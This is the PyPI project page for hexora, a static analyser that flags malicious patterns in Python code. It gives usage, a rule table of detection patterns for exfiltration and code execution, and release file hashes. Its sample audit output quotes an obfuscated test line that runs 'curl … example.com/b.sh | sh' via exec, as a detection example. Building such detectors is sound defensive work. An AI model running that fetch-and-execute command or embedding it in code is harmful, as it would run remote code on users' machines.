Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    
warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3020 DunderShellExec Execution of a shell command via __import__.
HX3030 DunderCodeExec Execution of code via __import__.
HX3040 DLLInjection Possible DLL injection.
HX3050 CurlWgetExec Execution of curl or wget in shell command.
HX4000 ObfuscateShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX4020 ObfuscatedDunderShellExec Execution of an obfuscated shell command via __import__.
HX4030 ObfuscatedDunderCodeExec Execution of obfuscated code via __import__.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.2.1.tar.gz (4.9 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.2.1-cp313-cp313-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.2.1-cp313-cp313-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.2.1-cp313-cp313-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.2.1-cp313-cp313-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.2.1-cp313-cp313-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.2.1-cp313-cp313-macosx_10_13_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.2.1-cp312-cp312-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.2.1-cp312-cp312-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.2.1-cp312-cp312-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.2.1-cp312-cp312-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.2.1-cp312-cp312-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.2.1-cp312-cp312-macosx_10_13_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.2.1-cp311-cp311-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.2.1-cp311-cp311-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.2.1-cp311-cp311-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.2.1-cp311-cp311-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.2.1-cp311-cp311-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.2.1-cp310-cp310-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.2.1-cp310-cp310-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.2.1-cp310-cp310-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.2.1-cp310-cp310-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.2.1-cp310-cp310-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.2.1-cp39-cp39-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.2.1-cp39-cp39-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.2.1-cp39-cp39-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.2.1-cp39-cp39-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.2.1-cp39-cp39-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.2.1.tar.gz.

File metadata

  • Download URL: hexora-0.2.1.tar.gz
  • Upload date:
  • Size: 4.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.1.tar.gz
Algorithm Hash digest
SHA256 85507a1be23f3b428dccba8920ba7df8745dc4c2bbd70442267527203450e90a
MD5 fc0e8036d6929b6d23e682058c0ee112
BLAKE2b-256 b30cd818eaefe49becc42cc25ae551b177281980a3a43cb6b694cb10b5464d14

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.1-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.1-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 5cc211706f5d3814c510a72ceb105a97c9bbd76f36cf2853890f4cd08572809f
MD5 bb05259242b9a79eb7874f731bca953c
BLAKE2b-256 26c9c8bf42fa2cc7084f714f099ddf7910b579ae72b6e4193f3c1e8af28baf25

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 335e89b376157aff4780447716f5ed9b8c00be9508535b84614376ce60f7aae0
MD5 6cac2fb4ccb4a5dc367bb51847d4f258
BLAKE2b-256 fb1767de26c284b605eb43b9a685be7cfd53b18f132216cef524911f1d58be0e

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 678b95affe93961772b570ed114ab36a1d9809a902a2a1d09e8c8125294a68d6
MD5 01092a8b29309a04d9525f1345d6c9f1
BLAKE2b-256 4ddfed217deac3c09ab68a72ecadd94c345f6dbfac7c661c367d415cba39dcb5

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 83900b04b79be4c5100384efd677e1050f1586fabb070ff264fa15e1a85fb895
MD5 8d8294f47a5f0214ca29e48f90087dea
BLAKE2b-256 3b09daca2c4e6c813e6bc43fd1844209da80e3d133e645959fd6adc2e7a85fb5

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 284f2f04fc81ec20e06bee68643d0a4b80bf6948a8d4a65eb04fbf0a0b276710
MD5 ecf853cdfd8f3daa6f27e9c6b66b7901
BLAKE2b-256 f0b985cc3f6a8db9c38842026738fb0efa6185d1867147ceda5fcfa4555d941b

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 0deb846c51fc5f5b8448aa8840e5c3beceda41aecb2ffbefe1a12ae99b337fc6
MD5 662a45e314af0cb3ae1fe9664ebda81a
BLAKE2b-256 9886f0627a365c75b2fa5c32113d58c9141b99bddfb46bb896cf975daf189512

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.1-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.1-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 9568516aec260ad5045c94811b5d89f68351c8a9ca0eef6300316bfca79d9ba6
MD5 f493dd868a536edf64e0bf604d17a58d
BLAKE2b-256 b310670752431bee313dfe7b15de9132f0969eaf0f3cd1f506c5ce8b510761fd

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 5d8ac50f39c4b4c30ccc07cd49953ad5c4d4def96236e6d5048e506661c7e563
MD5 4846d89dc57c61bc20a5bd53a0eae6b1
BLAKE2b-256 01311d440e9b1210ebac700fa9022a46afe343af536ad84140b0b6a319877a79

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 1edca384b4b2aa0a2804a8a3aaffc59b67facbdde2d4b7df5a5b8a9cc4cc9f24
MD5 a0095f0e490bd2607357d51426cd7ff8
BLAKE2b-256 3305663629d0ef1ba0ef3e99c97bf4df357c1b6105d4599754e7f687530e4d2e

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 cf676647f14bfc2d9fe71a44380c6a50fce3e83d768dfe19061c69584f98bfb5
MD5 6c5f7470ec73333f476362e66fff2429
BLAKE2b-256 2a597275bf30f2a2d970fcbb64f8fc42bddc001d11c4fc6ac5a0094bffca1b4b

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 859cb55799e1669730d3d6ca0ebb15e8597b2d5650a5cbf8a6048af1d5fb4483
MD5 0b80bba24187fe8605ac357c52aed707
BLAKE2b-256 d7672c24de9fcd40580b3d93ed63fb458e0192129660c551869849c65c067888

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 a192c80ed9e18f2601f3862c0c9236ca48b131c7d06f08f574df6f044e91d6f2
MD5 aa70ab9d11e1fea3cae66ffa48575f99
BLAKE2b-256 712be21649318933c9f5a941fd4b079b35b1878ae36da3cfc55257250526516e

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.1-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.1-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 576a1c65d0996993a8a68b2db201d673af6fd63ea7c825cae691403f4cc4793c
MD5 63e94145558c9749a5436ae46afda1fc
BLAKE2b-256 ff82c34fe5a46925b9031cfd0038ac21116c18c74b70ef8dc07153b258baeabf

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 fbe672e5a3939e8aa484777e3ecd55ecba2cd061c3dc0c2f81ab14f46b95c63e
MD5 49a8a7829c0b51b19aae8dffe50df611
BLAKE2b-256 2804f9b3eebc48f3ee8416a085d1a2745015eff4058a2fe91d5ab3ef114252e8

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 813257ccf34afa9dd38dc1a070245eca3568c2afe11bffe334e1642971ba4f93
MD5 2fd3d6c617b55aadf1533332856be3b5
BLAKE2b-256 366c26e028e21aef3a6dc8c61437ed4a76473e53f37c5fddcca078ef56f5ee1e

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 26df20025493d50052cc709b25c69f4fc6708776dbee24afd04be2f211bf6089
MD5 4179eb2987f01a88c3745429d0fe6564
BLAKE2b-256 196148a2660777975e6b26fc688d107629ff7ac9cd20666520a3927576503080

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 d3725d1a893549297b3704eb900644f0593f4f7f5f3fb80da171cd732317d2d9
MD5 c697a12ad702e8dac6204de1c17a5eb5
BLAKE2b-256 d46f46d737f4aa10d5b4f4fbb8309da754b97033f0f50b05c7dc0b737c74d629

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 fba7676ed4e139f57406a7077dd1027285cac9894e9b77a7d2d59181db3a4ab7
MD5 05d83accffa52224c09ee5a9c568c307
BLAKE2b-256 6e1aa95979a2a26fb6f6049f497c7db440b7f4556124bb6955c848d4e9dccbd5

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.1-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.1-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 069ce7adba9a8dfc76fe2d62a565aa2f213c402881d4de5fe1310bf9e4038bde
MD5 ee5d1ced3452f1df672822a221994121
BLAKE2b-256 8381ead36ba5007cc2785b247377bf80a7d4b5ddf02920a432318999d7b2ee04

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 4b71fd698dc3690f33466010dff4384b84a04b6ec103aca7ff88100499de0b0a
MD5 3a8918853dd2d1954a975f0e685394d9
BLAKE2b-256 52fb975c7f4130476f3b5e2030703db7f9757380896e27bc128bd8769f6fa712

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 539743b5153c9416816d0126613edf77c21aa0a41e0368d79195c42fe385e693
MD5 789a8fe18e378f4e01178ff66ba11842
BLAKE2b-256 295d384610958aed9abc8dd814b1d9205f8258dbb664439d457bb77361f25ff0

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 669ac20ce8081f00823acf677c08a30df16e4b27825d0503da84f5839e9cf98e
MD5 40a3035d8202fd2fc30f2f43bcaf924a
BLAKE2b-256 362beb7055744dc3cff7f95df2f47d31e8372794595ed369f31b95439a1e3edd

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 71425cad7b85272a5c79598ade82e1f6899cb64c48b549881b5e3e33b25b6c6c
MD5 d4c3936a43412b1efa1a329f14d53bd8
BLAKE2b-256 4939793477a4d801ad85246650f02d1759c7bb331366a4aa7bd462172a0aea7f

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 6d9b9da288e69ebe8376802c32891f20b620a46a99de3988abf77ec6acf5a131
MD5 d55bc88d2b7f2022a1bcac49df024753
BLAKE2b-256 bc1550720ef8da904c1eebd031711af9e4e4a097c457fc8f908fe768cfd125f1

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.1-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.1-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 9b6bd0e241e734b18bf8435d25e9a8730cec753a4c7d17a34b81c3ffaad2cc5a
MD5 7f8996431f0180f95e1c68fe9ce8c9a3
BLAKE2b-256 30c0d9caf4b77639604dceb3d6a297866a736ab0ff5fc5397a94e7aa81a390b8

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 8dec97a976e83f40269554d81833112deff25741610ecda6fe95b96e30dc3ce1
MD5 d6a5aaf7a1c88fdd808c24c0ca0770f8
BLAKE2b-256 4f9e470b721813bb8635fdceb5f7a3cb6eeb4fa138d440316b217681df0532d0

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 b2c02ffc799d1bb1de25fbafed57dc1fa700b7350fc8dc9996c4334133cff259
MD5 723e3deb2c2a6fbc015ceaba1aa1f87a
BLAKE2b-256 ae070d294d4c247d53976d4156499cc6f01295d44ecc2a8360130538fa770d00

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 faaaf523036896528dc76fb97954f2191ada7ee44960028cdf69f9a27e7d9d3a
MD5 b2a500e80216e9e5c6604f972ef65059
BLAKE2b-256 fcc51c44d79108c1f2b93d5ca154dee79f44085244887eeaeb83138cc163074e

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 2c0ce7f3febe049c93c38cfe7ce2a2bd85f9c6f309e95d0ab7c07a7f4f60a1af
MD5 45cdc8b17614759fbd116b7e616d498b
BLAKE2b-256 83f13a61ab2325fed2b111584cc724531344be95ce9052fc6a4d09c2ce804c73

See more details on using hashes here.

File details

Details for the file hexora-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.1-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 19ace6d26ec25ed0da4a3d944b8c15c5e4a9954ff18ed9208ee7386aceeec3a3
MD5 266aa38cb5fb2265b7f1e9abab482320
BLAKE2b-256 01116932ecc5d945ef15ac307f4c4c33483b49b273d302bb5ba2e6f9a96fbd30

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page